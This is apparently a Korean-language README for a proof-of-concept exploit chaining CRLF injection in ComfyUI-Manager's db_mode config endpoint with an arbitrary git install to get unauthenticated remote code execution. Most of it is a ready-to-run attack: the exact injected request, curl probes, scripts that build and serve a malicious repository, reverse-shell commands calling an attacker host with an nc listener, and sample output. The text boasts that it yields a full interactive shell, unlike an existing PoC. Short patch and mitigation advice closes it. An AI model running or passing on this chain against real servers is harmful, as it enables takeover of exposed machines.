
ComfyUI-Manager의 config 엔드포인트에서 CRLF 인젝션과 임의 git 설치를 연계하여 인증 없이 원격 코드 실행을 달성하는 개념 증명 익스플로잇입니다.
심각도: 치명적 (CVSS 9.8) 영향 범위: ComfyUI-Manager < 3.39.2 및 4.0.0 - 4.0.4 패치 버전: ComfyUI-Manager 3.39.2 / 4.0.5 연계 취약점: CVE-2025-67303 (임의 Git 설치 -> 코드 실행)
ComfyUI-Manager는 value 쿼리 파라미터를 받아 Python의 configparser를 사용해 config.ini에 직접 기록하는 /api/manager/db_mode 엔드포인트를 노출한다.
이 취약점은 단독 캐리지 리턴 인젝션(\r / %0D)이다:
configparser는 값을 그대로 직렬화한다 — \r이 파일에 그대로 저장된다.\r을 줄 종결자로 취급하여 하나의 값을 두 개의 별도 INI 지시문으로 분리한다.strict=False(ComfyUI-Manager의 기본값)인 configparser는 중복 키를 허용하고 마지막 키를 사용한다. 주입된 security_level = weak가 정상 값을 덮어쓴다.재부팅 후 위조된 설정이 적용되어 /api/customnode/install/git_url(CVE-2025-67303)의 인증 게이트가 비활성화된다. 해당 엔드포인트는 임의의 git 저장소를 클론하고 그 안의 install.py를 서브프로세스로 즉시 실행한다 — 인증되지 않은 공격자에게 완전한 코드 실행 권한을 부여한다.
Step 1 — config 엔드포인트에 단독 CR 주입
GET /api/manager/db_mode?value=cache%0Dsecurity_level%20=%20weak
쓰기 후 디스크의 config.ini:
db_mode = cache\r
security_level = weak <- %0D를 통해 주입됨
Step 2 — Manager 재부팅으로 위조된 config 재로드
GET /api/manager/reboot
Manager가 config.ini를 다시 읽음; 범용 개행이 값을 분리;
마지막 키 우선 -> security_level = weak
Step 3 — 게이트 확인 (403이 400으로 바뀔 때까지 폴링)
POST /api/customnode/install/git_url body: http://127.0.0.1/probe.git
403 = 게이트 여전히 닫힘
400 = 게이트 열림, security_level=weak 확인됨
Step 4 — 악성 git 저장소에서 설치 트리거 (CVE-2025-67303)
POST /api/customnode/install/git_url
body: http://ATTACKER:9099/alg-upscaler.git
Manager 동작:
git clone http://ATTACKER:9099/alg-upscaler.git
python install.py <- 여기서 리버스 셸 실행
| 파일 | 용도 |
|---|---|
setup_evil_repo.sh | 악성 git 저장소를 빌드하고 HTTP로 서빙 |
exploit_ad15.sh | 전체 체인 실행: CRLF 인젝션 -> 재부팅 -> 확인 -> 트리거 |
autopwn.py | Python 올인원 대안 (저장소 빌드 + 전체 체인 실행) |
Step 1 — 버전 핑거프린팅
curl -s http://TARGET:8188/api/manager/version
# 취약: "3.39.1" / "4.0.3"
# 패치: "3.39.2" / "4.0.5"
Step 2 — CRLF 엔드포인트가 값을 받는지 확인
curl -v "http://TARGET:8188/api/manager/db_mode?value=test" 2>&1 | grep "< HTTP"
# HTTP/1.1 200 -> 엔드포인트가 존재하고 쓰기 가능
Step 3 — 설치 게이트 탐색
curl -s -o /dev/null -w "%{http_code}" \
-X POST http://TARGET:8188/api/customnode/install/git_url \
-d "http://127.0.0.1/probe.git"
# 403 -> 게이트 닫힘 (기본 설정, 대상이 주입 가능)
# 400 -> 게이트 이미 열림 (Phase 1 건너뜀)
============================================================
CVE-2026-22777 + CVE-2025-67303 Full Chain
============================================================
Target : http://192.168.1.10:8188
Attacker : 10.10.14.1:4444
Evil repo : http://10.10.14.1:9099/alg-upscaler.git
[*] Phase 0: Version fingerprint
ComfyUI-Manager version: "3.39.1" <- 취약
[*] Phase 1: CRLF inject -> security_level = weak
[+] Injection sent (HTTP 200)
config.ini now contains:
db_mode = cache\r
security_level = weak <- 단독 CR을 통해 주입됨
[*] Phase 2: Trigger reboot
[+] Reboot request sent -- waiting 30s for Manager to restart...
[*] Phase 3: Verify security gate
Attempt 1: HTTP 403 <- 아직 재부팅 중
Attempt 2: HTTP 403
Attempt 3: HTTP 400 <- 게이트 열림
[+] Gate OPEN -- security_level=weak is active
[*] Phase 4: Checking evil git repo is reachable
[+] Evil repo reachable (HTTP 200)
[*] Phase 5: Triggering git install (CVE-2025-67303)
ComfyUI-Manager will:
1. git clone http://10.10.14.1:9099/alg-upscaler.git
2. cd into cloned dir
3. python install.py <- 여기서 리버스 셸 실행
Phase 5의 curl은 멈춘다 — 리버스 셸이 nc -lvnp 4444로 도착한다.
| Vulhub PoC | 이 PoC | |
|---|---|---|
install.py | touch /tmp/success (실행 증명만) | 공격자에게 연결되는 Python 리버스 셸 |
| 결과 | 대화형 셸 없음 | 완전한 대화형 셸 |
| Vulhub PoC | 이 PoC | |
|---|---|---|
| 언어 | 단일 Python 파일 | Bash, 2개의 개별 스크립트 |
| 정리 | tempfile.TemporaryDirectory (Ctrl+C 시 자동 삭제) | 수동 (디스크에 남음) |
| 저장소 이름 | 무작위 (예: evil-node-a1b2c3) | 고정: alg-upscaler |
| Vulhub PoC | 이 PoC | |
|---|---|---|
| CVE-2026-22777 (CRLF 인젝션) | 미포함 | exploit_ad15.sh Phase 1에 포함 |
| 재부팅 + 게이트 확인 | 미포함 | 30초 대기 후 403->400 폴링 |
| 설치 트리거 | 수동 curl | Phase 5에서 자동화 |
Step 1 — 악성 저장소와 리스너 설정 (터미널 두 개)
# Terminal 1 — listener
nc -lvnp 4444
# Terminal 2 — build and serve evil repo
bash setup_evil_repo.sh 10.10.14.1 4444
Step 2 — 전체 익스플로잇 체인 실행
# Terminal 3
bash exploit_ad15.sh 192.168.1.10 10.10.14.1 4444
Phase 5 이후 Terminal 1에 셸이 도착한다.
대안 — Python 올인원
# Blind command
python3 autopwn.py http://192.168.1.10:8188 --command "id"
# Reverse shell
python3 autopwn.py http://192.168.1.10:8188 --revshell --lhost 10.10.14.1 --lport 4444
업그레이드 (권장): ComfyUI-Manager 3.39.2 또는 4.0.5+.
패치는 쿼리 파라미터를 config.ini에 쓰기 전에 \r과 \n을 제거한다.
네트워크 완화 (즉시 패치가 불가능한 경우):
8188에 대한 외부 접근을 차단 — ComfyUI는 공개 노출을 염두에 두고 설계되지 않았다./api/manager/* 및 /api/customnode/* 앞에 인증을 갖춘 리버스 프록시를 배치.config.ini를 읽기 전용으로 설정: chmod 444 config.ini.